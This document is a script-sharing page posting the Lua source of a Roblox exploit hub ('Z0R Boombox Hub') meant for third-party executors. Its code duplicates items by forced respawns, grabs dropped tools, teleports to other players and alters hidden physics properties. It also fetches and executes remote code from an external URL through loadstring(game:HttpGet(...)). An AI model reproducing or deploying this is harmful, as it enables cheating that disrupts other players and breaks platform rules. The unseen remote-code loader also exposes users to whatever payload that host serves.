Z0R Boombox Hub Source

MADE BY isan

FEATURE:

  • BOOMBOX STUFF

SCRIPT:

-- [ Locals ] --
local Player = game.Players.LocalPlayer
local Char = Player.Character
local Mouse = Player:GetMouse()

-- [ Sets ] --
local pg = true
local listadd = true
local grabtools = false
local selected = nil
local fileName
Keybind = Enum.KeyCode.RightControl

-- [ Services ] --
local MarketplaceService = game:GetService('MarketplaceService')
local UIS = game:GetService('UserInputService')
local tweenService = game:GetService('TweenService')

-- [ File System ] --
if (writefile) then
    local File 
        -- [ Folders ] --
        if (not isfolder('Z0R-Hub')) then makefolder('Z0R-Hub') end
        if (not isfolder('Z0R-Hub/Presets')) then makefolder('Z0R-Hub/Presets') end
        if (not isfolder('Z0R-Hub/Assets')) then makefolder('Z0R-Hub/Assets') end
        if (not isfolder('Z0R-Hub/Theme')) then makefolder('Z0R-Hub/Theme') end
    -- [ Files ] --
        if (not isfile('Z0R-Hub/Theme/theme.zr')) then writefile('Z0R-Hub/Theme/theme.zr', '') end
        if (not isfile('Z0R-Hub/Keybind.key')) then writefile('Z0R-Hub/Keybind.key', 'local Keybind = Enum.KeyCode.RightControl') end
        if (not isfile('Z0R-Hub/Presets/Default.preset')) then writefile('Z0R-Hub/Presets/Default.preset', [[
            for i, v in next, tools do
                coroutine.wrap(
                    function()
                        local BP, BG, F = v.POSV.Value, v.GYROV.Value
                        local a, vol = 1, 0
                        while vis do
                            vol = tools[#tools].Handle.Sound.PlaybackLoudness / sens
                            ro = math.rad(a / 2 + (i * (360 / #tools)))
                            F = CFrame.new(torso.Position) * CFrame.Angles(0, ro, 0) * CFrame.new(0, 0, vol + offset)
                            BP.Position = F.p
                            BG.CFrame = CFrame.new(BG.Parent.Position, torso.Position + Vector3.new(0,tilt+math.sin(-vol*2),0))
                            a = a + speed / 2.5
                            game:GetService('RunService').Heartbeat:task.wait()
                            v.Handle.Velocity = Vector3.new(0, 0, 30)
                        end
                    end
                )()
            end
        ]])
        end
        readfile('Z0R-Hub/Keybind.key')
else
    warn('Your exploit does not support (write/read file)')
end

-- [ UI ] --
local UIAsset = 10216868643
local Version = 6
local UI = game:GetObjects(('rbxassetid://10522714773'):format(UIAsset, Version))[1]; UI.Parent = game:GetService('CoreGui')
if (syn) then
    for i,v in pairs(UI:GetDescendants()) do
        syn.protect_gui(v)
    end
end

-- [ UI Locals ] --
local Main = UI['Main']; Main['Draggable'] = true; Main.Label.Text = os.date('Zor V1.5 | %x')
local ToClone = UI['ToClone']
local Buttons = Main['Buttons']
local Frames = Main['Pages']
local Layout = Frames['Layout']
local MainB = Buttons['Main']
local AudiosB = Buttons['Audios']
local PlayersB = Buttons['Players']
local SettingsB = Buttons['Settings']
--MainFrame
local MainFrame = Frames['Main']
local AudioInput1 = MainFrame.Audio['Input']
local TimePosition = MainFrame.Audio['TimePos']
local Play1 = MainFrame.Audio.buttons['Play'].Button
local MassPlay = MainFrame.Audio.buttons['Massplay'].Button
local Sync = MainFrame.Audio.buttons['Sync'].Button
local DupeInput = MainFrame.Duping['Input']
local DupeButton = MainFrame.Duping['Dupe'].Button
local GrabButton = MainFrame.Duping['Grab'].Button
--VisualFram
--AudiosFrame
local AudiosFrame = Frames['Audios']
local SaveInput = AudiosFrame.Save['Input']
local SaveButton = AudiosFrame.Save.buttons['Save'].Button
local SaveHolder = ToClone['Audio']
local Saves = AudiosFrame.Audios['AudioFrame']
--PlayersFrame
local PlayersFrame = Frames['Players']
local PlayerHolder = ToClone['Player']
local PlayerList = PlayersFrame.Game['PlayerFrame']
--SettingsFrame
local SettingsFrame = Frames['Settings']
local KeyInput = SettingsFrame.Keybind['Input']
local DiscordButton = SettingsFrame.Keybind['Discord'].Button
local Unload = SettingsFrame.Keybind['Unload'].Button

-- [ Functions ] --
loadstring(game:HttpGet'https://encrypts.gq/u/ArabicStr.lua')('Arabic Str')
local GetPlr = function(String)
    local Found = {}
    local strl = String:lower()
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():sub(1, #String) == String:lower() or v.DisplayName:lower():sub(1, #String) == String:lower() then
                table.insert(Found, v)
            end
        end
    return Found
end
speed = 1; offset = 1; sens = 150; tilt = 5
local Visual = function(v)
    vis = true
    player = game.Players.LocalPlayer
    char = player.Character
    SavedPos = char.HumanoidRootPart.CFrame
    tools = {}

    if (char.Humanoid.RigType ~= Enum.HumanoidRigType.R6) then
        torso = char.UpperTorso
    else
        torso = char.Torso
    end

    for i,v in pairs(player.Backpack:GetChildren()) do
        v.Parent = char
        task.wait(0.05)
    end
    for i, v in pairs(char:GetDescendants()) do
        if (v:IsA('Tool')) then
            table.insert(tools, v)
        end
    end
    for i,v in pairs(tools) do
        for _, tool in pairs(v:GetDescendants()) do
            if (tool:IsA('BodyGyro')) then
                tool:remove()
            elseif (tool:IsA('BodyPosition')) then
                tool:remove()
            elseif (tool:IsA('ObjectValue')) then
                tool:remove()
            end
        end
    end

    if (not Net) then
        char.HumanoidRootPart.CFrame = CFrame.new(0, 4e5, 0)
        task.wait(0.5)
        char.HumanoidRootPart.Anchored = true

        for i,v in pairs(char:GetDescendants()) do
            if (v:IsA('Tool')) then
                BG = Instance.new('BodyGyro', v.Handle); BG.Name = 'GYRO'; BG.MaxTorque=Vector3.new(1/0,1/0,1/0); BG.P=100000
                BP = Instance.new('BodyPosition', v.Handle); BP.Name = 'BODYPOS'; BP.MaxForce = Vector3.new(1/0,1/0,1/0); BP.P = 100000; BP.Position = v.Handle.Position
                BPV = Instance.new('ObjectValue', v); BPV.Name = 'POSV'; BPV.Value = BP
                BGV = Instance.new('ObjectValue', v); BGV.Name = 'GYROV'; BGV.Value = BG
                v.Handle:BreakJoints()
                v.Handle.Velocity = Vector3.new(25.70, 0, 0)
            end
        end
        loadstring(v)()
        task.wait(#tools/#tools)
        char.HumanoidRootPart['CFrame'] = SavedPos
        char.HumanoidRootPart['Anchored'] = false
        Net = true
    else
        for i,v in pairs(char:GetDescendants()) do 
            if (v:IsA('Tool')) then 
                BG = Instance.new('BodyGyro', v.Handle); BG.Name = 'GYRO'; BG.MaxTorque=Vector3.new(1/0,1/0,1/0); BG.P=100000
                BP = Instance.new('BodyPosition', v.Handle); BP.Name = 'BODYPOS'; BP.MaxForce = Vector3.new(1/0,1/0,1/0); BP.P = 100000; BP.Position = v.Handle.Position
                BPV = Instance.new('ObjectValue', v); BPV.Name = 'POSV'; BPV.Value = BP
                BGV = Instance.new('ObjectValue', v); BGV.Name = 'GYROV'; BGV.Value = BG
                v.Handle:BreakJoints()
                v.Handle.Velocity = Vector3.new(25.70, 0, 0)
            end 
        end
        loadstring(v)()
    end

    sethiddenproperty(game.Players.LocalPlayer, 'MaximumSimulationRadius', 1/0)
    sethiddenproperty(game.Players.LocalPlayer, 'SimulationRadius', 1/0)

    task.wait(0.1) 

    for i,v in pairs(char.Humanoid:GetPlayingAnimationTracks()) do
        v:Stop()
    end

    for i,v in pairs(tools) do
        v.Unequipped:connect(function()
            vis = false
            Net = false
            for _, tool in pairs(v:GetDescendants()) do
                if (tool:IsA('BodyGyro')) then
                    tool:remove()
                elseif (tool:IsA('BodyPosition')) then
                    tool:remove()
                elseif (tool:IsA('ObjectValue')) then
                    tool:remove()
                end
            end
        end)
    end
end
local Dupe = function(Amt)
    local Dropped = {}
    local Duping = true
    local SavedPos = Char.HumanoidRootPart.CFrame
    task.wait(0.1)
    Player.Character.HumanoidRootPart.CFrame = CFrame.new(0, 4e5, 0)
    task.wait(0.5)
    Player.Character.HumanoidRootPart.Anchored = true

    for i = 1, Amt do
        Player.Character.HumanoidRootPart.CFrame = CFrame.new(0, 4e5, 0)
        task.wait(0.15)
        for i,v in pairs(Player.Backpack:GetChildren()) do
            if (v:IsA('Tool')) then
                table.insert(Dropped, v)
                v.Parent = Player.Character
                task.wait(0.05)
                v.Parent = workspace
            end
        end
        Player.Character:BreakJoints()
        Player.CharacterAdded:wait()
        Player.Character:WaitForChild('HumanoidRootPart').CFrame = SavedPos
        task.wait(0.1)
    end
    for i,v in pairs(Dropped) do
        firetouchinterest(v.Handle, Player.Character.HumanoidRootPart, 0)
        repeat task.wait() until v.Parent == Player.Character
    end
    Char.HumanoidRootPart.CFrame = SavedPos
    Duping = false
end
workspace.ChildAdded:connect(function(v)
    if (grabtools) then
        while (grabtools and task.wait()) do
            if (v:IsA('Tool')) then
                firetouchinterest(v.Handle, Player.Character.HumanoidRootPart, 0)
            end
        end
    end
end)

-- [ Scripts ] --
MainB.MouseButton1Down:connect(function()
    Layout:JumpTo(MainFrame)
end)
AudiosB.MouseButton1Down:connect(function()
    Layout:JumpTo(AudiosFrame)
end)
PlayersB.MouseButton1Down:connect(function()
    Layout:JumpTo(PlayersFrame)
end)
SettingsB.MouseButton1Down:connect(function()
    Layout:JumpTo(SettingsFrame)
end)
Mouse.Move:connect(function()
    if SpeedH then
        SpeedS.Slide.Size = UDim2.new(math.clamp((Mouse.X - SpeedS.AbsolutePosition.X )/sSizeX,0,1),0,1,0) 
        SpeedS.slider_label.Text = 'Speed | '..math.floor(SpeedS.Slide.Size.X.Scale * 35)
        speed = SpeedS.slider_label.Text:gsub('%D', '')
    end
end)

Sync.MouseButton1Down:connect(function()
    for i,v in pairs(Char:GetDescendants()) do
        if (v:IsA('Sound') and v.Playing) then
            v.TimePosition = 0
        end
    end
end)
TimePosition.FocusLost:connect(function()
    for i,v in pairs(Char:GetDescendants()) do
        if (v:IsA('Sound') and v.Playing) then
            v.TimePosition = tonumber(TimePosition.Text)
        end
    end
end)
DupeButton.MouseButton1Down:connect(function()
    if (tonumber(DupeInput.Text)) then
        Dupe(tonumber(DupeInput.Text))
    end
end)
GrabButton.MouseButton1Down:connect(function()
    if (not grabtools) then
        GrabButton.gradient.Color = ColorSequence.new(Color3.fromRGB(0, 5, 117), Color3.fromRGB(2, 0, 74))
        for i,v in pairs(workspace:GetChildren()) do
            if (v:IsA('Tool')) then
                firetouchinterest(v.Handle, Player.Character.HumanoidRootPart, 0)
            end
        end
        grabtools = true
    else
        GrabButton.gradient.Color = ColorSequence.new(Color3.fromRGB(20, 20, 20), Color3.fromRGB(25, 25, 25))
        grabtools = false
    end
end)
Unload.MouseButton1Down:connect(function()
    UI:remove()
end)
Play1.MouseButton1Down:connect(function()
    local FoundTool
    for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
        if (v:IsA('Tool') and v.Name:match('Boom')) then
            FoundTool = true
        end
    end
    if (not FoundTool) then
        local Tool = Player.Backpack:FindFirstChildOfClass('Tool')
        if (Tool.Name:match('Boom')) then
            Tool.Parent = Player.Character
            FoundTool = true
        end
    end
    local ID = tonumber(AudioInput1.Text) or tonumber(AudioInput1.PlaceholderText)
    for i,v in pairs(Player.Character:GetDescendants()) do
        if (v:IsA('RemoteEvent')) then
            v:FireServer('PlaySong', ID)
        end
    end
end)
MassPlay.MouseButton1Down:connect(function()
    for i,v in pairs(Player.Backpack:GetDescendants()) do
        if (v:IsA('Tool')) then
            v.Parent = Player.Character
        end
    end
    local ID = tonumber(AudioInput1.Text) or tonumber(AudioInput1.PlaceholderText)
    for i,v in pairs(Char:GetDescendants()) do
        if (v:IsA('RemoteEvent')) then
            v:FireServer('PlaySong', ID)
        end
    end
end)
local sList = listfiles('Z0R-Hub/Assets')
local List = listfiles('Z0R-Hub/Presets')

for i,v in pairs(List) do
    local Holder = ToClone.Preset:clone()
    local Button = Holder.Button

    Button.Name = v:sub(17)
    Button.button_label.Text = v:sub(17):split('.')[1]
    Holder.Parent = Presets
    Holder.Visible = true
end
SaveButton.MouseButton1Down:connect(function()
    if (not tonumber(SaveInput.Text)) then
        return
    else
        writefile('Z0R-Hub/Assets/'..SaveInput.Text..'.audio', '')
        local AudioSave = SaveHolder:clone()
        local AudioName = MarketplaceService:GetProductInfo(SaveInput.Text:match('%d+')).Name
        if (not AudioName) then
            AudioName = 'nil'
        end
        AudioSave.Button.button_asset.Text = SaveInput.Text
        AudioSave.Button.button_name.Text = AudioName
        AudioSave.Button.Name = SaveInput.Text
        AudioSave.Parent = Saves
        AudioSave.Visible = true
        Saves.CanvasSize = UDim2.new(0, 0, 0 -#sList, 0)
        Saves.CanvasSize = UDim2.new(0, 0, 0 +#sList/2, 0)
    end
    for i,v in pairs(Saves:GetDescendants()) do
        if (v:IsA('TextButton')) then
            v.MouseButton1Down:connect(function()
                AudioInput1.Text = tonumber(v.Name)
                AudioInput2.Text = tonumber(v.Name)
            end)
        end
    end
end)

for i,v in pairs(sList) do
    local AudioSave = SaveHolder:clone()
    local AudioName = MarketplaceService:GetProductInfo(v:split('\\')[2]:split('.')[1]:match('%d+')).Name
    if (not AudioName) then
        AudioName = 'nil'
    end
    AudioSave.Button.button_asset.Text = v:split('\\')[2]:split('.')[1]
    AudioSave.Button.button_name.Text = AudioName
    AudioSave.Button.Name = v:split('\\')[2]:split('.')[1]
    AudioSave.Parent = Saves
    AudioSave.Visible = true
    Saves.CanvasSize = UDim2.new(0, 0, 0 -#sList, 0)
    Saves.CanvasSize = UDim2.new(0, 0, 0 +#sList/2, 0)
    for i,v in pairs(Saves:GetDescendants()) do
        if (v:IsA('TextButton')) then
            v.MouseButton1Down:connect(function()
                AudioInput1.Text = tonumber(v.Name)
                AudioInput2.Text = tonumber(v.Name)
            end)
        end
    end
end

for i,v in pairs(UI.Main.Buttons:GetDescendants()) do
	if (v:IsA('ImageButton')) then
		v.MouseEnter:connect(function()
			v.HoverLabel.Visible = true
			v.HoverLabel.Text = v.Name
		end)
		v.MouseLeave:connect(function()
			v.HoverLabel.Visible = false
		end)
	end
end
for i,v in pairs(Main:GetDescendants()) do
	if (v:IsA('TextButton')) then
		v.MouseEnter:connect(function()
			v.Parent.BorderColor3 = Color3.fromRGB(28, 44, 113)
		end)
		v.MouseLeave:connect(function()
			v.Parent.BorderColor3 = Color3.fromRGB(0, 0, 0)
		end)
	end
end
for i,v in pairs(Main:GetDescendants()) do
	if (v:IsA('TextBox')) then
		v.Focused:connect(function()
			v.BorderColor3 = Color3.fromRGB(28, 44, 113)
		end)
		v.FocusLost:connect(function()
			v.BorderColor3 = Color3.fromRGB(0, 0, 0)
			
			if (v.Text == '') then
				v.Size = UDim2.new(0, 71,0, 16)
			end
		end)
		v:GetPropertyChangedSignal('Text'):Connect(function()
			v.Size = UDim2.new(#v.Text/100 + 0.3, 0, 0.06, 0)
		end)
	end
end

local kf ; kf = KeyInput.Focused:connect(function()
    local kIn ; kIn = UIS.InputBegan:connect(function(In, gameProcessedEvent)
        if (In.UserInputType == Enum.UserInputType.Keyboard) then
            KeyInput.Text = tostring(In.KeyCode):split('.')[3]
            Keybind = 'Enum.KeyCode.'..tostring(In.KeyCode):split('.')[3]..''
            writefile('Z0R-Hub/Keybind.key', 'Keybind = Enum.KeyCode.'..tostring(In.KeyCode):split('.')[3]) 
            kIn:Disconnect()
        end
    end)
end)
UIS.InputBegan:connect(function(InputObj, Process)
    if (not Process) then
        loadstring(readfile('Z0R-Hub/Keybind.key', true))()
        if (InputObj.KeyCode == Keybind) then
            if (Main.Visible) then
                Main.Visible = false
            else
                Main.Visible = true
            end
        end
    end
end)
loadstring(readfile('Z0R-Hub/Keybind.key', true))()
KeyInput.Text = tostring(Keybind):split('.')[3]

UI['Name'] = GetStr(100)
workspace.FallenPartsDestroyHeight = 0/1/0
settings().Physics.AllowSleep = false
settings().Physics.PhysicsEnvironmentalThrottle = Enum['EnviromentalPhysicsThrottle'].Disabled

task.spawn(function()
    local uiGradient = Main.Top.Gradient
    local tween = tweenService:Create(uiGradient, TweenInfo.new(2, Enum.EasingStyle.Linear), {Offset = Vector2.new(-1, 0)})
    local tween2 = tweenService:Create(uiGradient, TweenInfo.new(2, Enum.EasingStyle.Linear), {Offset = Vector2.new(1, 0)})    
    while (task.wait()) do
        tween:Play()
        task.wait(2)
        tween2:Play()
        task.wait(2)
    end
end)
Player.CharacterAdded:connect(function()
    Char = Player.Character
end)
game.Players.PlayerRemoving:connect(function()
    for i,v in pairs(PlayerList:GetChildren()) do
        if (v:IsA('Frame')) then
            v:remove()
            Page = true
        end
    end
    while (Page and task.wait()) do
        Plr = game.Players:GetPlayers()
        for i,v in pairs(Plr) do
            for i = #Plr, #Plr do
                local Holder = ToClone.Player:clone()
                Holder.Visible = true
                Holder.Displayn.Text = '@'..v.DisplayName
                Holder.Displayn.Playern.Text = v.Name
                Holder.Icon.Image = ('https://www.roblox.com/headshot-thumbnail/image?userId=%s&width=420&height=420&format=png'):format(v.userId)
                Holder.Parent = PlayerList
                PlayerList.CanvasSize = UDim2.new(0, 0, 0 -#Plr, 0)
                PlayerList.CanvasSize = UDim2.new(0, 0, 0 +#Plr/2, 0)
                Holder.Log.MouseButton1Down:connect(function()
                    for i,v in pairs(v.Character:GetDescendants()) do
                        if (v:IsA('Sound') and v.Playing and v.Parent.Name == 'Handle') then
                            setclipboard(v.SoundId)
                            return (warn(('[ZOR] Copied %s\'s audio to clipboard'):format(v.Name)))
                        end
                    end
                end)
                Holder.Mute.MouseButton1Down:connect(function()
                    for i,v in pairs(v.Character:GetDescendants()) do
                        if (v:IsA('Sound') and v.Playing) then
                            v:Stop()
                            v.Volume = 0
                        end
                    end
                end)
                Holder.Teleport.MouseButton1Down:connect(function()
                    for i,v in pairs(GetPlr(v.Name)) do
                        Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
                    end
                end)
                for i,v in pairs(PlayerList:GetDescendants()) do
                    if (v:IsA('TextButton')) then
                        v.MouseEnter:connect(function()
                            v.BorderColor3 = Color3.fromRGB(28, 44, 113)
                        end)
                        v.MouseLeave:connect(function()
                            v.BorderColor3 = Color3.fromRGB(0, 0, 0)
                        end)
                    end
                end
                Page = false
            end
        end
    end
end)
game.Players.PlayerAdded:connect(function()
    for i,v in pairs(PlayerList:GetChildren()) do
        if (v:IsA('Frame')) then
            v:remove()
            Page = true
        end
    end
    while (Page and task.wait()) do
        Plr = game.Players:GetPlayers()
        for i,v in pairs(Plr) do
            for i = #Plr, #Plr do
                local Holder = ToClone.Player:clone()
                Holder.Visible = true
                Holder.Displayn.Text = '@'..v.DisplayName
                Holder.Displayn.Playern.Text = v.Name
                Holder.Icon.Image = ('https://www.roblox.com/headshot-thumbnail/image?userId=%s&width=420&height=420&format=png'):format(v.userId)
                Holder.Parent = PlayerList
                PlayerList.CanvasSize = UDim2.new(0, 0, 0 -#Plr, 0)
                PlayerList.CanvasSize = UDim2.new(0, 0, 0 +#Plr/2, 0)
                Holder.Log.MouseButton1Down:connect(function()
                    for i,v in pairs(v.Character:GetDescendants()) do
                        if (v:IsA('Sound') and v.Playing and v.Parent.Name == 'Handle') then
                            setclipboard(v.SoundId)
                            return (warn(('[ZOR] Copied %s\'s audio to clipboard'):format(v.Name)))
                        end
                    end
                end)
                Holder.Mute.MouseButton1Down:connect(function()
                    for i,v in pairs(v.Character:GetDescendants()) do
                        if (v:IsA('Sound') and v.Playing) then
                            v:Stop()
                            v.Volume = 0
                        end
                    end
                end)
                Holder.Teleport.MouseButton1Down:connect(function()
                    for i,v in pairs(GetPlr(v.Name)) do
                        Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
                    end
                end)
                for i,v in pairs(PlayerList:GetDescendants()) do
                    if (v:IsA('TextButton')) then
                        v.MouseEnter:connect(function()
                            v.BorderColor3 = Color3.fromRGB(28, 44, 113)
                        end)
                        v.MouseLeave:connect(function()
                            v.BorderColor3 = Color3.fromRGB(0, 0, 0)
                        end)
                    end
                end
                Page = false
            end
        end
    end
end)
if (game.Players) then
    Plr = game.Players:GetPlayers()
    for i,v in pairs(Plr) do
        for i = #Plr, #Plr do
            local Holder = ToClone.Player:clone()
            Holder.Visible = true
            Holder.Displayn.Text = '@'..v.DisplayName
            Holder.Displayn.Playern.Text = v.Name
            Holder.Icon.Image = ('https://www.roblox.com/headshot-thumbnail/image?userId=%s&width=420&height=420&format=png'):format(v.userId)
            Holder.Parent = PlayerList
            PlayerList.CanvasSize = UDim2.new(0, 0, 0 -#Plr, 0)
            PlayerList.CanvasSize = UDim2.new(0, 0, 0 +#Plr/2, 0)
            Holder.Log.MouseButton1Down:connect(function()
                for i,v in pairs(v.Character:GetDescendants()) do
                    if (v:IsA('Sound') and v.Playing and v.Parent.Name == 'Handle') then
                        setclipboard(v.SoundId)
                        return (warn(('[ZOR] Copied %s\'s audio to clipboard'):format(v.Name)))
                    end
                end
            end)
            Holder.Mute.MouseButton1Down:connect(function()
                for i,v in pairs(v.Character:GetDescendants()) do
                    if (v:IsA('Sound') and v.Playing) then
                        v:Stop()
                        v.Volume = 0
                    end
                end
            end)
            Holder.Teleport.MouseButton1Down:connect(function()
                for i,v in pairs(GetPlr(v.Name)) do
                    Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
                end
            end)
            for i,v in pairs(PlayerList:GetDescendants()) do
                if (v:IsA('TextButton')) then
                    v.MouseEnter:connect(function()
                        v.BorderColor3 = Color3.fromRGB(28, 44, 113)
                    end)
                    v.MouseLeave:connect(function()
                        v.BorderColor3 = Color3.fromRGB(0, 0, 0)
                    end)
                end
            end
        end
    end
end

⚠️ Warning: Do not download any extensions or anything other than .txt/.lua file, because script will download only in .txt/.lua format or It will redirect you to a pastebin link.

📋 Notice: If you find any of the scripts patched or not working, please report it to Forever4D through Discord. The script will be removed or marked as patched!